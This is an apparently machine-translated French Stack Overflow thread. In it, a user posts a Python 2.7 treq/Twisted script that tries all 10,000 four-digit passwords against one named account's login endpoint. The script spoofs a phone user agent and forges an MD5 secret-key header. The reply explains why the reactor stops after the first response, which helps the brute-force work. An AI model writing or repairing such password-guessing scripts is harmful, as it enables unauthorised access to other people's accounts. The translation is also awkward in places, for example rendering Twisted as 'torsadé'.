2017-04-18 2 views
-3

Je possède ce script en utilisant TREQ en Python 2.7, mais il ne fait pas les demandes:Pourquoi le script Not My Python 2.7 ne fonctionne-t-il pas?

from twisted.internet import reactor 
import time,hashlib,urllib2,json,treq 

PasswordStart = 0 
executed = [] 

def done(response): 
    if response.code == 200: 
     sys.stdout.write(Password) 
    reactor.stop() 
while PasswordStart<10001:  
    if PasswordStart not in executed and PasswordStart<10001: 
     executed.append(PasswordStart) 
     UserAgent = "Samsung Galaxy S8 - 7.0.0" 
     Username = "JamesRicky" 
     RegD = time.strftime("%Y-%m-%d") 
     Password = str(PasswordStart).zfill(4) 
     HASH = hashlib.md5() 
     HASH.update(time.strftime("%Y-%m-%d")+Password) 
     url = "http://example.com/info" 
     data = {'Password': Password, 'RegDate': RegD, 'UserName': Username} 
     headers = {'Content-type': 'application/json', 'Accept-encoding': 'gzip, deflate', 'Accept': '*/*', 'Reg-Date': RegD, 'User-Agent': UserAgent, 'Secret-Key': HASH.hexdigest()} 
     d = treq.post(url, data=json.dumps(data), headers=headers) 
     d.addCallback(done) 
     PasswordStart+=1 

reactor.run() 

Pourquoi ça ne marche pas?

Ce que mon code est censé faire, est de lancer ce message demande et chaque demande doit avoir un 4 chiffres Mot de passe (0000 ... 9999). Chaque fois que les pistes en boucle:

si PasswordStart pas exécuté et PasswordStart < 10001:

Il est censé ajouter le numéro de boucle (PasswordStart) dans le tableau exécuté, il ne réexécute pas la même nombre deux fois. Ensuite, il va faire les variables et ensuite faire la connexion. Il enregistre la réponse et la réponse est vérifiée à la fin. Si response.code == 200, il affichera le mot de passe. Sinon, il continuera à parcourir la boucle et ajoutera i + 1 et PasswordStart + 1.

Pourquoi pas ce travail?

+0

Avez-vous reçu des messages d'erreur? Avez-vous fait quoi que ce soit pour préciser où et quel est le problème? – Chris

+3

Avez-vous un coup d'oeil à (https://stackoverflow.com/help/on-topic) [Quels sujets puis-je demander ici?] - Il dit _ « questions visant à obtenir l'aide de débogage (» pourquoi pas ce code fonctionne ? ") doit inclure le comportement souhaité, un problème ou une erreur spécifique et le code le plus court nécessaire pour le reproduire dans la question elle-même.Les questions sans énoncé de problème clair ne sont pas utiles à d'autres lecteurs.Voir: Comment créer un Minimal, Complete, et exemple vérifiable. "_ – Clijsters

+0

Utilisez l'instruction d'impression. – Elan

Répondre

0

Comme je le vois, vous réacteur arrêter dans done fonction. En raison de laquelle votre réacteur s'arrêtera dès que la première réponse est reçue. L'arrêt d'un réacteur arrêtera votre script, même s'il y a des rappels en attente. Vous devez improviser votre logique pour voir si toutes les demandes sont faites alors arrêtez le réacteur.

TREQ est basé sur torsadé. Consultez ce documentation pour plus d'informations sur la boucle d'événements/le réacteur